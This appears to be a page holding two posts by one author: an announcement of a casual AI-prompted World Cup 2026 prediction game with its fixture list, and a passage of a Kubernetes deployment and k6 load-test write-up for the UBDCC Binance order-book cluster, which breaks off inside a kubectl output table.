Choose your model, build your best prompt and let it predict the tournament.

Then we will find out which combination of human prompting and artificial intelligence performs best — or at least gets luckiest.

The Prompt World Cup 2026 is a public, just-for-fun prediction game for everyone who uses AI.

No money.
No prizes.
No football expertise required.

Just choose your AI, write your prompt, submit the predictions and see how your setup performs against everyone else.

How it works

1. Join the prediction group on Tippster.

2. Use any AI model you like.

3. Ask it to predict the matches and bonus questions.

4. Enter the AI-generated predictions.

5. Watch the ranking develop throughout the tournament.

6. At the end, the winner is invited to reveal the model(s), prompt(s) and workflow used.

You can use ChatGPT, Claude, Gemini, Grok, a local model, an agent workflow, your own script, or anything else that qualifies as AI-assisted prediction.

The interesting part is not only which model wins.

It is also which prompt, research strategy and workflow produce the best result.

The rules

• Every prediction must be generated with AI.

• Manual corrections based on personal football knowledge are not allowed.

• Prompt iterations, web research and tool usage are allowed.

• You may use any AI model or combination of models.

• Predictions must be submitted before the respective deadline.

• The winner is invited to share the model(s), prompt(s) and workflow used after the tournament.

• Everyone else is warmly invited to share their setup too.

This is not a scientific benchmark.

It is a fun public experiment.

Winner verification

You do not need to identify yourself or share your social profiles when joining.

The internal group chat will stay disabled during the World Cup so the group remains focused on the predictions.

After the final result is confirmed, the chat will be enabled. The winner can then contact me there, share the model(s), prompt(s) and workflow used, and connect the Tippster account with a LinkedIn, Reddit, X, or other public profile for the winner announcement.

If the winner does not get in touch, that is perfectly fine too.

I will simply celebrate them under their Tippster handle.

Join the Prompt World Cup 2026

Join link:
https://app.tippster.app/join/TIPP-QKGY-VAH

Join code:
TIPP-QKGY-VAH

The group runs on Tippster, a new and pleasantly lightweight prediction platform.

Anyone can create a prediction group there for up to 500 participants, completely free and without advertising. Tippster also includes useful features such as private groups, invitation links, configurable prediction settings, rankings and bonus questions.

For the Prompt World Cup 2026, Stefan, the creator of Tippster, kindly increased the group limit from 500 to 5000 participants.

So there should be enough room even if a few more humans decide to send their machines onto the pitch.

May the best prompt win

Pick your AI.

Build your prompt.

Submit the predictions.

Then let the tournament decide which combination of model, prompt and strategy made the best predictions.

Or at least got luckiest.

Copy the prediction questions for your AI

To make prompting easier, I prepared a clean, machine-readable list of all current match questions, including dates, team names and country codes.

You can copy the full list directly into your preferred AI model or use it as input for a custom workflow:

# Prompt World Cup 2026 — Prediction Questions

This document contains all match prediction questions currently shown on Tippster.

> **Time note:** All dates and times below are reproduced exactly as displayed on the platform. Confirm the timezone shown in your Tippster account before using them programmatically.

> **Knockout scoring:** In knockout matches, the final score counts, including extra time and penalty shootouts.

---

## Group A

| Date & time | Home | Away |
|---|---|---|
| 2026-06-11 21:00 | Mexico (`MEX`) | South Africa (`RSA`) |
| 2026-06-12 04:00 | South Korea (`KOR`) | Czechia (`CZE`) |
| 2026-06-18 18:00 | Czechia (`CZE`) | South Africa (`RSA`) |
| 2026-06-19 03:00 | Mexico (`MEX`) | South Korea (`KOR`) |
| 2026-06-25 03:00 | Czechia (`CZE`) | Mexico (`MEX`) |
| 2026-06-25 03:00 | South Africa (`RSA`) | South Korea (`KOR`) |

## Group B

| Date & time | Home | Away |
|---|---|---|
| 2026-06-12 21:00 | Canada (`CAN`) | Bosnia-Herzegovina (`BIH`) |
| 2026-06-13 21:00 | Qatar (`QAT`) | Switzerland (`SUI`) |
| 2026-06-18 21:00 | Switzerland (`SUI`) | Bosnia-Herzegovina (`BIH`) |
| 2026-06-19 00:00 | Canada (`CAN`) | Qatar (`QAT`) |
| 2026-06-24 21:00 | Switzerland (`SUI`) | Canada (`CAN`) |
| 2026-06-24 21:00 | Bosnia-Herzegovina (`BIH`) | Qatar (`QAT`) |

## Group C

| Date & time | Home | Away |
|---|---|---|
| 2026-06-14 00:00 | Brazil (`BRA`) | Morocco (`MAR`) |
| 2026-06-14 03:00 | Haiti (`HAI`) | Scotland (`SCO`) |
| 2026-06-20 00:00 | Scotland (`SCO`) | Morocco (`MAR`) |
| 2026-06-20 02:30 | Brazil (`BRA`) | Haiti (`HAI`) |
| 2026-06-25 00:00 | Scotland (`SCO`) | Brazil (`BRA`) |
| 2026-06-25 00:00 | Morocco (`MAR`) | Haiti (`HAI`) |

## Group D

| Date & time | Home | Away |
|---|---|---|
| 2026-06-13 03:00 | United States (`USA`) | Paraguay (`PAR`) |
| 2026-06-14 06:00 | Australia (`AUS`) | Turkey (`TUR`) |
| 2026-06-19 21:00 | United States (`USA`) | Australia (`AUS`) |
| 2026-06-20 05:00 | Turkey (`TUR`) | Paraguay (`PAR`) |
| 2026-06-26 04:00 | Turkey (`TUR`) | United States (`USA`) |
| 2026-06-26 04:00 | Paraguay (`PAR`) | Australia (`AUS`) |

## Group E

| Date & time | Home | Away |
|---|---|---|
| 2026-06-14 19:00 | Germany (`GER`) | Curaçao (`CUW`) |
| 2026-06-15 01:00 | Ivory Coast (`CIV`) | Ecuador (`ECU`) |
| 2026-06-20 22:00 | Germany (`GER`) | Ivory Coast (`CIV`) |
| 2026-06-21 02:00 | Ecuador (`ECU`) | Curaçao (`CUW`) |
| 2026-06-25 22:00 | Ecuador (`ECU`) | Germany (`GER`) |
| 2026-06-25 22:00 | Curaçao (`CUW`) | Ivory Coast (`CIV`) |

## Group F

| Date & time | Home | Away |
|---|---|---|
| 2026-06-14 22:00 | Netherlands (`NED`) | Japan (`JPN`) |
| 2026-06-15 04:00 | Sweden (`SWE`) | Tunisia (`TUN`) |
| 2026-06-20 19:00 | Netherlands (`NED`) | Sweden (`SWE`) |
| 2026-06-21 06:00 | Tunisia (`TUN`) | Japan (`JPN`) |
| 2026-06-26 01:00 | Tunisia (`TUN`) | Netherlands (`NED`) |
| 2026-06-26 01:00 | Japan (`JPN`) | Sweden (`SWE`) |

## Group G

| Date & time | Home | Away |
|---|---|---|
| 2026-06-15 21:00 | Belgium (`BEL`) | Egypt (`EGY`) |
| 2026-06-16 03:00 | Iran (`IRN`) | New Zealand (`NZL`) |
| 2026-06-21 21:00 | Belgium (`BEL`) | Iran (`IRN`) |
| 2026-06-22 03:00 | New Zealand (`NZL`) | Egypt (`EGY`) |
| 2026-06-27 05:00 | New Zealand (`NZL`) | Belgium (`BEL`) |
| 2026-06-27 05:00 | Egypt (`EGY`) | Iran (`IRN`) |

## Group H

| Date & time | Home | Away |
|---|---|---|
| 2026-06-15 18:00 | Spain (`ESP`) | Cape Verde Islands (`CPV`) |
| 2026-06-16 00:00 | Saudi Arabia (`KSA`) | Uruguay (`URY`) |
| 2026-06-21 18:00 | Spain (`ESP`) | Saudi Arabia (`KSA`) |
| 2026-06-22 00:00 | Uruguay (`URY`) | Cape Verde Islands (`CPV`) |
| 2026-06-27 02:00 | Uruguay (`URY`) | Spain (`ESP`) |
| 2026-06-27 02:00 | Cape Verde Islands (`CPV`) | Saudi Arabia (`KSA`) |

## Group I

| Date & time | Home | Away |
|---|---|---|
| 2026-06-16 21:00 | France (`FRA`) | Senegal (`SEN`) |
| 2026-06-17 00:00 | Iraq (`IRQ`) | Norway (`NOR`) |
| 2026-06-22 23:00 | France (`FRA`) | Iraq (`IRQ`) |
| 2026-06-23 02:00 | Norway (`NOR`) | Senegal (`SEN`) |
| 2026-06-26 21:00 | Norway (`NOR`) | France (`FRA`) |
| 2026-06-26 21:00 | Senegal (`SEN`) | Iraq (`IRQ`) |

## Group J

| Date & time | Home | Away |
|---|---|---|
| 2026-06-17 03:00 | Argentina (`ARG`) | Algeria (`ALG`) |
| 2026-06-17 06:00 | Austria (`AUT`) | Jordan (`JOR`) |
| 2026-06-22 19:00 | Argentina (`ARG`) | Austria (`AUT`) |
| 2026-06-23 05:00 | Jordan (`JOR`) | Algeria (`ALG`) |
| 2026-06-28 04:00 | Jordan (`JOR`) | Argentina (`ARG`) |
| 2026-06-28 04:00 | Algeria (`ALG`) | Austria (`AUT`) |

## Group K

| Date & time | Home | Away |
|---|---|---|
| 2026-06-17 19:00 | Portugal (`POR`) | Congo DR (`COD`) |
| 2026-06-18 04:00 | Uzbekistan (`UZB`) | Colombia (`COL`) |
| 2026-06-23 19:00 | Portugal (`POR`) | Uzbekistan (`UZB`) |
| 2026-06-24 04:00 | Colombia (`COL`) | Congo DR (`COD`) |
| 2026-06-28 01:30 | Colombia (`COL`) | Portugal (`POR`) |
| 2026-06-28 01:30 | Congo DR (`COD`) | Uzbekistan (`UZB`) |

## Group L

| Date & time | Home | Away |
|---|---|---|
| 2026-06-17 22:00 | England (`ENG`) | Croatia (`CRO`) |
| 2026-06-18 01:00 | Ghana (`GHA`) | Panama (`PAN`) |
| 2026-06-23 22:00 | England (`ENG`) | Ghana (`GHA`) |
| 2026-06-24 01:00 | Panama (`PAN`) | Croatia (`CRO`) |
| 2026-06-27 23:00 | Panama (`PAN`) | England (`ENG`) |
| 2026-06-27 23:00 | Croatia (`CRO`) | Ghana (`GHA`) |

---

# Knockout Stage

The participating teams are not known yet.

## Round of 32

| Match | Date & time | Home | Away |
|---:|---|---|---|
| R32-01 | 2026-06-28 21:00 | TBD | TBD |
| R32-02 | 2026-06-29 19:00 | TBD | TBD |
| R32-03 | 2026-06-29 22:30 | TBD | TBD |
| R32-04 | 2026-06-30 03:00 | TBD | TBD |
| R32-05 | 2026-06-30 19:00 | TBD | TBD |
| R32-06 | 2026-06-30 23:00 | TBD | TBD |
| R32-07 | 2026-07-01 03:00 | TBD | TBD |
| R32-08 | 2026-07-01 18:00 | TBD | TBD |
| R32-09 | 2026-07-01 22:00 | TBD | TBD |
| R32-10 | 2026-07-02 02:00 | TBD | TBD |
| R32-11 | 2026-07-02 21:00 | TBD | TBD |
| R32-12 | 2026-07-03 01:00 | TBD | TBD |
| R32-13 | 2026-07-03 05:00 | TBD | TBD |
| R32-14 | 2026-07-03 20:00 | TBD | TBD |
| R32-15 | 2026-07-04 00:00 | TBD | TBD |
| R32-16 | 2026-07-04 03:30 | TBD | TBD |

## Round of 16

| Match | Date & time | Home | Away |
|---:|---|---|---|
| R16-01 | 2026-07-04 19:00 | TBD | TBD |
| R16-02 | 2026-07-04 23:00 | TBD | TBD |
| R16-03 | 2026-07-05 22:00 | TBD | TBD |
| R16-04 | 2026-07-06 02:00 | TBD | TBD |
| R16-05 | 2026-07-06 21:00 | TBD | TBD |
| R16-06 | 2026-07-07 02:00 | TBD | TBD |
| R16-07 | 2026-07-07 18:00 | TBD | TBD |
| R16-08 | 2026-07-07 22:00 | TBD | TBD |

## Quarter-finals

| Match | Date & time | Home | Away |
|---:|---|---|---|
| QF-01 | 2026-07-09 22:00 | TBD | TBD |
| QF-02 | 2026-07-10 21:00 | TBD | TBD |
| QF-03 | 2026-07-11 23:00 | TBD | TBD |
| QF-04 | 2026-07-12 03:00 | TBD | TBD |

## Semi-finals

| Match | Date & time | Home | Away |
|---:|---|---|---|
| SF-01 | 2026-07-14 21:00 | TBD | TBD |
| SF-02 | 2026-07-15 21:00 | TBD | TBD |

## Third-place match

| Match | Date & time | Home | Away |
|---:|---|---|---|
| 3P | 2026-07-18 23:00 | TBD | TBD |

## Final

| Match | Date & time | Home | Away |
|---:|---|---|---|
| Final | 2026-07-19 21:00 | TBD | TBD |

# Bonus Questions

## Tournament Predictions

* Who wins the World Cup? — **10 points**
* Who wins the Golden Glove? — **7 points**
* Who becomes runner-up? — **7 points**
* Who is the top scorer? — **7 points**
* Will there be a penalty shootout in the final? — **5 points**
* Which team scores the most goals? — **5 points**
* Which four teams reach the semifinals? — **5 points per correctly predicted team**
* How many goals will be scored in total? — **5 points**
* How many sending-offs will there be in total, including straight red cards and second-yellow dismissals? — **5 points**

## Group Winners

* Who wins Group A? — **3 points**
* Who wins Group B? — **3 points**
* Who wins Group C? — **3 points**
* Who wins Group D? — **3 points**
* Who wins Group E? — **3 points**
* Who wins Group F? — **3 points**
* Who wins Group G? — **3 points**
* Who wins Group H? — **3 points**
* Who wins Group I? — **3 points**
* Who wins Group J? — **3 points**
* Who wins Group K? — **3 points**
* Who wins Group L? — **3 points**

The list is structured so that both humans and machines can read it reliably.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thanks for predicting — and enjoy an entertaining World Cup 2026! ¯\_(ツ)_/¯

This is a practical infrastructure test.

The goal was simple:

Can I create all active Binance Spot and Futures order books as replicated Kubernetes infrastructure, expose them through REST, monitor the cluster, and then load-test the API until the setup starts to bend?

What this article covers

In this article, I walk through the full test setup:

• creating a Kubernetes cluster on Vultr

• installing UBDCC with Helm

• creating a first manual Binance DepthCache

• installing fast live monitoring with Netdata

• creating 2013 active Binance Spot and Futures DepthCaches

• running Grafana Cloud k6 smoke, ramp, hot-market, distributed-market and limit-finder tests

• comparing single-market hot-path behavior with distributed cluster behavior

• documenting the bottlenecks, failures, and measurement traps

The final setup used:

Provider:      Vultr Kubernetes
Nodes:         6 low-cost nodes
UBDCC:         Helm installation
DCNs:          dcn.coresPerNode=2
Markets:       2013 Binance Spot + Futures markets
Replicas:      2 per market
DepthCaches:   4026 replicated DepthCaches
Monitoring:    Netdata + kubectl top
Load testing:  Grafana Cloud k6

Important: This test does not stress Binance. Binance is only the public market-data source. The actual load test targets the UBDCC REST API running on my Kubernetes cluster.

Related background

If you want to try UBDCC locally first, without Kubernetes, start with the quickstart:
From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart

That article shows the fastest local path with pip install, ubdcc start, the dashboard, and a first local DepthCache before moving to the Kubernetes version.

This article builds on my previous UBDCC Kubernetes installation guide:
Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes

That guide covers the base setup in detail: creating the Kubernetes cluster, installing kubectl and Helm, deploying UBDCC, finding the REST API IP, creating a first DepthCache and querying bids and asks.

If you specifically want to reproduce the Vultr setup, start here:
Vultr setup section

For the architectural background behind UBDCC, replicated DepthCaches, failover and why order book correctness matters, read the deep dive:
UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books

What is UBDCC?

UBDCC stands for UNICORN Binance DepthCache Cluster.

The idea behind UBDCC is to move Binance order book state out of individual bots and into shared infrastructure.

Usually, every trading bot, analytics tool, or strategy service builds and maintains its own local Binance order book.

That means every application has to deal with:

• WebSocket stream handling

• REST snapshot loading

• reconnects

• update ID continuity

• out-of-sync detection

• local cache correctness

• failover

• resync behavior

• duplicate infrastructure logic

UBDCC turns that around.

Instead of every bot maintaining its own fragile local order book, UBDCC runs the order book infrastructure once and exposes synchronized DepthCaches over REST.

Clients can then simply query:

/get_asks
/get_bids

That makes the order book infrastructure reusable.

But it also raises a new question:

How much REST traffic can this infrastructure handle?

That is what this test is about.

For the deeper architecture and trust-layer reasoning, see:
UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books

Test goal

The goal was not to produce a synthetic vanity benchmark.

The goal was to find useful operational signals:

• How fast can the cluster create and synchronize thousands of DepthCaches?

• How much REST load can a single hot market handle?

• How much REST load can the cluster handle when requests are distributed across many markets?

• Where do p95 and p99 latencies start rising?

• When do timeouts appear?

• Are errors caused by load, invalid markets, timeouts, or the measurement system?

• Does adding more REST API pods move the bottleneck?

• How much can the cheapest Kubernetes nodes handle?

The interesting number is not the highest request rate that appears for one second.

The interesting number is the highest load where latency, error rate and replica health remain stable.

Video walkthrough

I also recorded a full Kubernetes setup video for this UBDCC cluster.

The video does not rerun the paid Grafana Cloud k6 stress test. Instead, it shows the reproducible setup path: creating the Kubernetes cluster, installing UBDCC with Helm, opening the dashboard, creating a first DepthCache with curl, and creating all currently active Binance Spot and Futures DepthCaches with replicas.

The stress-test results themselves are documented in this article below.

https://www.youtube.com/watch?v=erxIkwmqlmk

Test environment

Kubernetes cluster

I used six low-cost Vultr Kubernetes nodes.

This was intentionally not a high-end cluster.

The goal was to test what the cheapest useful Kubernetes infrastructure can do.

Four nodes would likely already be enough to run all active Binance Spot and Futures markets with replication. I used six nodes to speed up synchronization and to leave more room for the stress test.

Nodes:     6
Node type: Vultr Regular Cloud Compute
Price:     \(15/month per node (\)90/month total for 6 nodes)
CPU:       2 vCPU per node
Memory:    2024 MB RAM per node
Purpose:   low-cost baseline test

In total, the worker pool provided 12 vCPUs and roughly 12 GB RAM.

This is important for interpreting the results: the test used cheap general-purpose nodes, not high-performance or CPU-optimized instances. The measured REST API limits should therefore be understood as the limits of this low-cost cluster configuration, not as an upper bound of UBDCC itself.

For the detailed Vultr walkthrough, including screenshots and kubeconfig setup, see the Vultr section of the Kubernetes installation guide:
Vultr setup section

No Binance API credentials

No Binance API credentials were used.

The complete test uses public Binance market data only.

This is important because the test does not require:

• account access

• API keys

• secrets

• trading permissions

• private user data

It only works with public order book data.

Installing UBDCC on Kubernetes

This section is a compact summary of the setup used for this stress test.

For the complete step-by-step installation article, including Vultr screenshots and the first UBDCC REST calls, see:
Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes

Download kubeconfig

After creating the Kubernetes cluster in the Vultr Console, download the kubeconfig and place it locally.

Example:

mkdir -p ~/.kube
cp ./vke-cf9c45cc-1cfc-4c59-9550-dc1bb68f3090.yaml ~/.kube/config

Then verify access:

kubectl get nodes

Expected:

NAME                      STATUS   ROLES    AGE   VERSION
ubdcc-node-...            Ready    <none>   ...
...

Install the Metrics Server

The Kubernetes Metrics Server is useful for quick resource checks with kubectl top.

kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

Check node metrics:

kubectl top nodes

After installing the Metrics Server, it can take a few minutes until the Metrics API becomes available.

If you get this error:

error: Metrics API not available

wait about 5 minutes and try again:

kubectl top nodes

Check UBDCC pod metrics later:

kubectl top pods -n ubdcc

For live monitoring during the test:

watch -n 2 kubectl top nodes
watch -n 2 kubectl top pods -n ubdcc
watch -n 2 kubectl get pods -n ubdcc -o wide

Add the UBDCC Helm repository

helm repo add ubdcc https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster/helm
helm repo update

Install UBDCC

helm install ubdcc ubdcc/ubdcc \
  --namespace ubdcc \
  --create-namespace \
  --set dcn.coresPerNode=2

The important setting here is:

dcn.coresPerNode=2

DCN means DepthCache Node.

The DCNs are the UBDCC components that manage the actual Binance DepthCaches.

With six Kubernetes nodes and dcn.coresPerNode=2, the cluster gets enough DCN capacity to distribute thousands of DepthCaches.

Check the installation:

kubectl get pods -n ubdcc -o wide
kubectl get svc -n ubdcc
kubectl describe services ubdcc-restapi -n ubdcc

Get the public UBDCC REST API IP address:

kubectl get svc -n ubdcc

Use the external IP of the UBDCC REST API service for the following curl and k6 tests. Replace [YOUR_UBDCC_IP] with that IP.

First REST smoke test with one DepthCache

Before creating all markets, I first created one DepthCache manually.

This is the same basic check shown in the installation guide:
Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes

Create ETHBTC with two replicas

Linux/macOS:

curl 'http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&market=ETHBTC&desired_quantity=2'

Windows:

curl.exe "http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&market=ETHBTC&desired_quantity=2"

desired_quantity=2 means that UBDCC should maintain two replicas of this DepthCache.

That is important for failover and redundancy.

Query asks

Linux/macOS:

curl 'http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&market=ETHBTC&limit_count=100'

Windows:

curl.exe "http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&market=ETHBTC&limit_count=100"

Query bids

Linux/macOS:

curl 'http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&market=ETHBTC'

Windows:

curl.exe "http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&market=ETHBTC"

The parameter limit_count=100 limits the response to the first 100 price levels.

For load testing, that is useful because response size and network traffic stay more predictable.

Monitoring with Netdata

For this test, I wanted a fast live view of the cluster.

I did not need long-term retention, alerting, or a full Prometheus/Grafana monitoring stack.

I mainly needed:

• Node CPU

• Node memory

• Network receive/transmit

• Disk I/O

• Load

• Container utilization

For that, Netdata was the fastest path.

Install Netdata

Use a separate namespace:

kubectl create namespace netdata

Add the Helm repo:

helm repo add netdata https://netdata.github.io/helmchart/
helm repo update

Install Netdata without persistence:

helm install netdata netdata/netdata \
  --namespace netdata \
  --set parent.database.persistence=false \
  --set parent.alarms.persistence=false \
  --set k8sState.persistence.enabled=false

Persistence is disabled because this setup is only used for live monitoring during the test. No long-term metric storage is required.

Without disabling persistence, the Netdata parent and k8s-state pods may remain pending if the cluster does not have a suitable default StorageClass.

The symptom looks like this:

pod has unbound immediate PersistentVolumeClaims

Check Netdata:

kubectl get pods -n netdata -o wide
kubectl get svc -n netdata

Expected:

6 netdata-child pods
1 netdata-parent pod
1 netdata-k8s-state pod

Open the Netdata UI

kubectl port-forward -n netdata svc/netdata 19999:19999

Then open:

http://localhost:19999

Connect the Netdata UI

If the Netdata UI asks for the netdata_random_session_id, the command must be executed inside the Netdata parent pod, not on your local machine.

First get the parent pod name:

kubectl get pods -n netdata

Look for the pod named similar to:

netdata-parent-5b7fcf845d-qhw8k

Then read the session ID from the parent pod:

kubectl exec -n netdata -it <NETDATA_PARENT_POD> -- sh -c 'chmod u+r /var/lib/netdata/netdata_random_session_id && cat /var/lib/netdata/netdata_random_session_id'

Example:

kubectl exec -n netdata -it netdata-parent-5b7fcf845d-qhw8k -- sh -c 'chmod u+r /var/lib/netdata/netdata_random_session_id && cat /var/lib/netdata/netdata_random_session_id'

Do not run this command on your local machine. The file exists inside the Netdata parent pod.

This step is only needed if the Netdata UI asks you to connect or claim the node. For local live monitoring through port-forwarding, Netdata can also be used without connecting it to Netdata Cloud.

Creating all Binance Spot and Futures DepthCaches

After the single ETHBTC smoke test worked, I created all active Binance Spot and Futures DepthCaches.

The target was:

2013 markets
2 replicas each
4026 replicated DepthCaches

This was done with helper scripts:

ubdcc_create_all_spot_depthcaches.py

https://gist.github.com/oliver-zehentleitner/17835e6e4bf732ce67f7bbbb2a282a41

ubdcc_create_all_futures_depthcaches.py

https://gist.github.com/oliver-zehentleitner/e0c55876d5c80d06ebf1e36409f94152

ubdcc_asks_from_all_depthcaches.py

https://gist.github.com/oliver-zehentleitner/f06b52294f274b058ea651847d96a910

ubdcc_bids_from_all_depthcaches.py

https://gist.github.com/oliver-zehentleitner/ea3cf73df07dbc3fc0f618fae81ff659

ubdcc_test_all_depthcaches.py

https://gist.github.com/oliver-zehentleitner/60db3f73eca3fd35a206570511b85ad0

ubdcc_stop_all_depthcaches.py

https://gist.github.com/oliver-zehentleitner/9421166ce95e9a285beaaca238875010

The first two scripts create all Spot and Futures DepthCaches.

Now we have to wait until all DCs, including replicas, are synchronized. It took 25 minutes for me.

https://youtu.be/lsv-FtrJo50

The cluster successfully synchronized 4026 replicated DepthCaches across Binance Spot and Futures markets.

That was already an important result.

The installation itself is fast.

The more interesting question is what happens after the cluster is full.

Load testing with Grafana Cloud k6

The load generator should not be my laptop.

If I generate load locally, I may end up measuring:

• my laptop

• my local network

• my ISP

• local OS limits

I wanted the load generator to be external and reproducible.

So I used Grafana Cloud k6.

Test types

I used four Grafana Cloud k6 tests because one single benchmark number would be misleading.

The tests were executed from the Frankfurt load zone because the UBDCC Kubernetes cluster was also running in Frankfurt.

That matters.

The previous test runs from Columbus included unnecessary WAN latency. For the final article results, I wanted the load generator to be geographically close to the cluster so the measurements focus more on the UBDCC REST API and Kubernetes setup itself.

Load zone: Frankfurt
UBDCC cluster location: Frankfurt

I also removed Netdata before running the final k6 tests.

Netdata was very useful during cluster setup and DepthCache synchronization, but monitoring is not free. During the synchronization phase, Netdata used roughly 5–15% CPU per node. After capturing the useful monitoring screenshots, I removed it again to get cleaner REST API load-test results.

The final k6 tests therefore measure the UBDCC cluster without the additional Netdata monitoring overhead.

Why multiple tests?

There are two very different load patterns:

1. Hot-market load
   Many requests hit one market, for example ETHBTC.

2. Distributed-market load
   Requests are spread across all running Binance Spot and Futures DepthCaches.

That distinction matters.

A single hot market with desired_quantity=2 mainly stresses the two replicated DepthCaches for that market and the DCNs hosting those replicas.

A distributed-market test spreads requests across many markets, many DepthCaches, many DCNs and multiple Kubernetes nodes.

So the tests below answer different questions.

Hot-market test:
How much load can one heavily requested market handle?

Distributed-market test:
How much load can the cluster handle when requests are spread across many markets?

Test 1: Smoke test

The first test is only a reachability and correctness check.

It verifies that Grafana Cloud k6 can reach the public UBDCC REST API and that basic /get_asks and /get_bids requests return valid responses.

This test targets one market, defaults to ETHBTC, and runs at a very small request rate.

https://gist.github.com/oliver-zehentleitner/09d10222acffec3959e28f4c52ae80cf

What this test checks

Target:     one market
Default:    ETHBTC
Endpoints:  /get_asks and /get_bids
Rate:       10 requests/second
Duration:   1 minute
Purpose:    verify reachability before larger tests
Load zone:  Frankfurt

Result

Requests:        601
HTTP failures:   0
Peak RPS:        10 req/s
Average RPS:     8.59 req/s
p95:             44 ms
Checks:          1.2K / 1.2K
Thresholds:      2 / 2 passed
VUs:             100 max
VUH:             1.67
Result:          Good

Interpretation

The smoke test completed cleanly.

Grafana Cloud k6 reached the public UBDCC REST API from the Frankfurt load zone, sent 601 requests, and received zero HTTP failures.

All checks passed, and the p95 response time was 44 ms.

That confirms the basic path:

Grafana Cloud k6 Frankfurt
→ Vultr LoadBalancer
→ UBDCC REST API
→ ETHBTC DepthCache

This is not a stress test yet.

It only proves that the external load generator can reach the cluster and that the REST API responds correctly.

Test 2: Distributed dynamic market plateau test

The second test is the first real distributed cluster test.

Instead of hardcoding one market, the script calls:

/get_depthcache_list

It then builds a list of usable DepthCaches and randomly selects a market for every request.

The test only uses running DepthCaches and filters out non-ASCII market symbols. This avoids measuring invalid market names or URL validation behavior instead of REST API performance.

https://gist.github.com/oliver-zehentleitner/dcc7d8b314c7ea81b8ffa8760e67d261

What this test checks

Target:     all running ASCII DepthCaches
Endpoints:  /get_asks and /get_bids
Pattern:    ramp into plateau
Purpose:    validate sustained distributed REST API load
Load zone:  Frankfurt

Why this test matters

This test is much closer to the actual cluster use case.

The load is distributed across many markets, many replicated DepthCaches, many DCNs and multiple Kubernetes nodes.

It answers a different question than the hot-market test:

Hot-market test:
How much load can one heavily requested market handle?

Distributed plateau test:
How much sustained load can the cluster handle when requests are spread across many markets?

Result

Duration:        12 min
Requests:        105,401
HTTP failures:   0
Peak RPS:        370 req/s
Average RPS:     144.38 req/s
p95:             274 ms
Checks:          306.6K / 306.6K
Thresholds:      3 / 3 passed
VUs:             1000 max
VUH:             180
Result:          Finished
Load zone:       Frankfurt

Interpretation

The distributed plateau test completed cleanly.

It sent 105,401 requests across dynamically selected running DepthCaches and reached 370 peak requests per second.

There were:

0 HTTP failures
0 failed checks
3 / 3 thresholds passed

The p95 response time was 274 ms.

This is the strongest stable baseline result from the final test set.

It shows that the low-cost six-node cluster can serve distributed REST API traffic across thousands of replicated DepthCaches without HTTP failures at this load level.

This does not mean every request is always equally fast. Some individual markets showed higher latency, but the aggregate result stayed healthy.

The important point is:

Distributed load across many markets behaved much better than hot-market load against one market.

Test 3: Hot-market ramp test

The third test intentionally stresses one single market.

This is not a full-cluster test.

It is a hot-path test.

With desired_quantity=2, one market is replicated twice. That means a hot-market test mainly stresses the two DepthCache replicas for that market and the DCNs hosting those replicas.

https://gist.github.com/oliver-zehentleitner/82e407955b3c09ca25382069bf5cd5fa

What this test checks

Target:     one market
Default:    ETHBTC
Endpoints:  /get_asks and /get_bids
Pattern:    ramping arrival rate
Stages:     25 → 50 → 100 → 250 → 500 RPS
Purpose:    identify the degradation point of one hot replicated market
Load zone:  Frankfurt

Why this matters

A single hot market behaves differently from distributed market access.

If every request targets the same market, the full cluster is not used evenly. The bottleneck may be the replicated DepthCache path for that market, not the whole Kubernetes cluster.

In this test, that is intentional.

It answers the question:

What happens when one market becomes hot?

Result

Duration:        5 min 30 sec
Requests:        38,903
HTTP failures:   7,939
Failure rate:    19%
Peak RPS:        300 req/s
Average RPS:     114.42 req/s
p95:             5006 ms
Checks:          66.1K / 82K
Check pass rate: ~80.6%
Thresholds:      0 / 2 passed
VUs:             1000 max
VUH:             91.67
Result:          Failed by threshold
Load zone:       Frankfurt

The failed thresholds were:

http_req_failed rate<0.01
measured: 0.19

http_req_duration p(95)<1000
measured: 5006 ms

Interpretation

The hot-market ramp failed by threshold.

That is useful.

At around 300 peak requests per second, the single-market hot path degraded heavily. The p95 response time reached roughly 5 seconds, which matches the configured request timeout range.

The important distinction:

This was not a full-cluster failure.
This was a hot-path failure for one replicated market.

With ETHBTC and desired_quantity=2, the test mainly stresses two replicas and the DCNs hosting those replicas.

That explains why the distributed plateau test could reach 370 peak RPS with zero failures, while this hot-market test reached 300 peak RPS with 19% HTTP failures.

The hot-market test shows that one heavily requested market can become a bottleneck much earlier than the cluster as a whole.

Test 4: Distributed dynamic fast limit finder

The fourth and final test was the aggressive one.

It used the distributed dynamic market approach again, but ramped much faster and higher than the plateau test.

The goal was not to prove a stable operating point.

The goal was to find where the low-cost cluster starts to degrade.

https://gist.github.com/oliver-zehentleitner/01635ac085ddee4b066481f9751f864e

What this test checks

Target:     all running ASCII DepthCaches
Endpoints:  /get_asks and /get_bids
Pattern:    fast ramp
Stages:     300 → 500 → 700 → 900 → 1100 RPS
Purpose:    find the degradation point faster
Load zone:  Frankfurt

Why low-cardinality tags matter

For large distributed tests across thousands of markets, the market tag must not be emitted as a k6 metric tag.

Otherwise, every market creates additional time series.

Even without an explicit market tag, the default url system tag can create high cardinality because each request URL contains a different market symbol.

The low-cardinality version still randomly queries all markets, but aggregates the metrics by endpoint and exchange instead of by individual market.

This avoids hitting Grafana Cloud k6's time-series cardinality limit while still distributing the actual REST requests across all markets.

Kubernetes node usage during the test

During this run, the Kubernetes nodes reached heavy CPU pressure.

Example snapshots from kubectl top nodes during the test:

NAME                            CPU(cores)   CPU(%)   MEMORY(bytes)   MEMORY(%)
